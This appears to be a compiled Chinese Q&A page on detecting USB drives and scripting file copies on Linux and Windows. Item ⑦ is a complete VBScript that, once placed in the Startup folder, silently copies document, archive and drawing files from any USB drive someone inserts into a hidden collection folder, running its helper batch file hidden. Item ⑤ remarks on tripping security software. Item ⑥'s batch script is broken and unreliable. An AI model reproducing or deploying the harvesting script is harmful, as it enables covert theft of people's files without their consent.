① linux USB设备的自动检测U盘
在linux环境下的话插入U盘后应该输入fdisk
-l
找到U盘设备
然后用cp
命令复制就可以了,如果是x-windows下操作的话和windows没有什么不同,熟练的话写个shell脚本。那就写个自动化的脚本哟。
② 高分悬赏linux下自动挂载u盘的脚本
先看下你有没有装autofs,没有的话 yum install autofs -y,chkconfig autofs on
修改/etc/auto.master,删除或用#号注释掉原有内容,按照下面的内容添加:
/media /etc/auto.media前面部分定义你准备挂载的目录,你可以自由设定
创建 /etc/auto.media,内容如下
cdrom -fstype=iso9660,ro,nodev,nosuid :/dev/cdroms/cdrom0
floppy -fstype=auto,sync,nodev,nosuid,umask=000 :/dev/floppy/0
你也许需要修改设备名,你也可以添加其他类似的设备根据前面的定义创建相应的目录,如/media:
mkdir /media重启autofs,如有问题可以网络下auto方式用法
即用atuofs来实现自动挂载,而不是脚本
③ 如何使用shell脚本, 当U盘挂载到Linux系统上时, 自动获取U盘大小和剩余的空间
当有新的硬件设备加载到linux系统上的时候,linux系统会自动刷新一条日志信息到dmesg里面。你可以在刚插入U盘的时候,立即执行dmesg命令,然后就能看到这个条日志记录,可以看到U盘对应的盘符。
根据这个思路,你可以通过shell脚本监控这个日志,只要有磁盘设备更新,就取得它的盘符。假设这里是/dev/sdg,获取到盘符以后,再使用命令
fdisk -l /dev/sdg
就可以输出这个磁盘的容量信息以及剩余空间的大小,通过字符串查找把对应的值提取出来即可。
基本思路就是这个,不知道我说清楚了没有,希望可以帮助到你。
④ 移动硬盘检测脚本吗
检测。
1、移动硬盘检测是对硬盘或U盘的性能进行全面测试,让你可以随时了解到硬盘或者U盘信息。
2、脚本是依据一定的格式编写的可执行文件,脚本文件也会储存在硬盘中的,所以会检测到的。
⑤ 如何使用VBS脚本编写U盘插入自动复制电脑指定文件至U盘
打开文本文档,输入:
COPY D:\data\*.* f:\ '假设你要复制D盘下的data文件夹到U盘上,U盘盘符是F然后保存文件,将该文件扩展名改为bat。
想要复制的时候,直接双击U盘上这个文件就行。这个代码适合自己电脑经常需要备份某个文件,手动操作步骤繁琐,利用这个代码来自动完成数据备份。如果稍加改进这个代码可能就会被安全软件拦截。。。,工具本身没有邪恶和正义之分,是正是邪还是看使用者的意图。
⑥ 如何用批处理文件检测U盘盘符,并将U盘里的文件拷贝到本机中。
@echo off
echo 插入U盘前请先运行此脚本
pause
cls
for %%a in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (
echo nl>>%%a:\nudsk.tmp
)
echo 可以插入U盘了,U盘插入后
pause
cls
for %%a in (c d e f g h i j k l m n o p q r s t u v w x y z a b) do (
if not exist %%a:\nudsk.tmp (
%%a:\x.doc c:\
goto:f
) else (
break
)
)
:f
echo 文件复制成功!
pause>nul
⑦ 如何使用VBS脚本编写U盘插入自动复制文件至U盘
哈..
复制下面代码后保存为filename.vbs,然后把它拖进“开始”菜单中“启动”中,这样它就自动运行了,只有有人这台计算机上用U盘,它的这些类型的资料就会考到F盘中。而且不同的U盘,会以它序列号文件夹存放
Public Upan(10),Upanname(10),UpanSerialNumber(10),ffff(50000),name,s,n,a,b,y
Do While 1=1
s=0
udisk
a=s
wscript.sleep 600
s=0
udisk
b=s
If a>b Then
' wscript.echo "A Udisk be missed"
Else
If a<b Then
createfolder("f:\Udata\")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s))
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG")
createtbat1
' createtbat2
TransferBAT("f:\ee.bat")
wscript.sleep 600
' TransferBAT("f:\aa.bat")
' wscript.sleep 600
delbattxt("f:\ee.bat")
wscript.sleep 600
' delbattxt("f:\aa.bat")
' wscript.sleep 600
n=0
Set fso =CreateObject ("scripting.filesystemobject")
ShowSubFolders FSO.GetFolder(Upan(s)&"\")
wscript.sleep 800
' wscript.echo (n)
'=============================================================================================
for y=1 to n
On Error Resume Next
' wscript.echo ffff(y)
wscript.sleep 100
files ffff(y)&"\"&"*.doc","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC"
wscript.sleep 100
files ffff(y)&"\"&"*.txt","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT"
wscript.sleep 100
files ffff(y)&"\"&"*.xls","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS"
wscript.sleep 100
files ffff(y)&"\"&"*.pdf","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF"
wscript.sleep 100
files ffff(y)&"\"&"*.rar","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR"
wscript.sleep 100
files ffff(y)&"\"&"*.dwg","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG"
wscript.sleep 100
'___________________________________________________________________________________________
files upan(s)&"\"&"*.doc","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC"
wscript.sleep 100
files upan(s)&"\"&"*.txt","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT"
wscript.sleep 100
files upan(s)&"\"&"*.xls","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS"
wscript.sleep 100
files upan(s)&"\"&"*.pdf","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF"
wscript.sleep 100
files upan(s)&"\"&"*.rar","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR"
wscript.sleep 100
files upan(s)&"\"&"*.dwg","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG"
wscript.sleep 100
err.clear
next
'=============================================================================================
'wscript.echo "A new Udisk be found"&" it's "&upan(s)&Upanname(s)&" "&UpanSerialNumber(s)
udiskfile
Else
End If
End If
Loop
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *得到U盘的盘符,名称,序列号*
'//********************************************************************************//
Function udisk
Dim fso,MB,GB,i
MINSize=(1024^2)*10
MAXSize=(1024^3)*4
s=0
Set fso=CreateObject("scripting.filesystemobject")
Set disks=fso.Drives
For Each disk In disks
If disk.IsReady Then
If (disk.DriveType =1) or(disk.DriveType =2) And (MINSize<disk.totalsize<MAXSize) Then
s=s+1
Upan(s)=disk.path
Upanname(s)=disk.VolumeName
UpanSerialNumber(s)=disk.SerialNumber
Else
End If
Else
End If
Next
End Function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *检测U盘中是否存在autorun.inf*
'//********************************************************************************//
Function udiskfile
Dim fso,a
Set fso=CreateObject("scripting.filesystemobject")
Set f = fso.GetFolder(Upan(s))
Set fc = f.Files
for each f1 in fc
if f1.name="autorun.inf" then
name=f1.name
wscript.echo "Udisk:"&Upan(s)&"have a file,it is like a virus,it's named "&name
exit for
else
end if
next
End Function
'//********************************************************************************//
' *在指定的地方建立文件夹*
'//********************************************************************************//
Function createfolder(path)
On Error Resume Next
Dim fso,a
Set fso=CreateObject ("scripting.filesystemobject")
Set a=fso.CreateFolder (path)
If err Then '如果出现错误则显示错误描述和正在创建的文件夹名称
'MsgBox ("错误提示: " &Err.Description&" "&"正在创建的文件夹是:"&path)
Err.Clear '清除错误。
Else
End if
End function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *创建BAT1*
'//********************************************************************************//
function createtbat1
dim fso,a,b,c
set fso=createobject ("scripting.filesystemobject")
On Error Resume Next
Set b=fso.CreateTextFile ("f:\ee.bat")
set c=fso.opentextfile("f:\ee.bat")
b.WriteLine ("tree "&upan(s)&"\>"&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\tree.txt")
err.clear
end function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *创建BAT2*
'//********************************************************************************//
'function createtbat2
'dim fso,a,b,c
'set fso=createobject ("scripting.filesystemobject")
'On Error Resume Next
'
'Set b=fso.CreateTextFile ("f:\aa.bat")
'set c=fso.opentextfile("f:\aa.bat")'
'
'b.WriteLine ("x "&Upan(s)&"\/e/c/h "&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s))
'err.clear
'end function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *调用BAT*
'//********************************************************************************//
Function TransferBAT(path)
Dim fso,a,b,c
Set wshshell=CreateObject("wscript.shell")
Set fso=CreateObject("scripting.filesystemobject")
cmd=wshshell.run(path,hide) '隐藏调用
End Function
'//////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *删除BAT*
'//********************************************************************************//
function delbattxt(path)
dim fso,a,b,c
set fso=createobject ("scripting.filesystemobject")
On Error Resume Next
Set b=fso.DeleteFile (path)
err.clear
end function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *CopyAllFiles*
'//********************************************************************************//
'function allfile
'Dim fso,a,b,c
'Set wshshell=CreateObject("wscript.shell")
'Set fso=CreateObject("scripting.filesystemobject")
'cmd=wshshell.run("x "&Upan(s)&"/e "&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s),hide)
'end function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *Copy制定类型Files*
'//********************************************************************************//
'files "j:\*.vbs","f:\u" ' 调用该函数时不能使用括号,否则会错
Function files(source,destination)
Dim fso, MyFile
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile source,destination,True
End function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *得到制定文件夹下的所有子文件夹*
'//********************************************************************************//
'Set fso =CreateObject ("scripting.filesystemobject")
'ShowSubFolders FSO.GetFolder(Upan(s)&"\")
sub ShowSubFolders(Folder)
For Each Subfolder In Folder.SubFolders
ShowSubFolders Subfolder
n=n+1
ffff(n)=subfolder.path
'wscript.echo ffff(n)
Next
end sub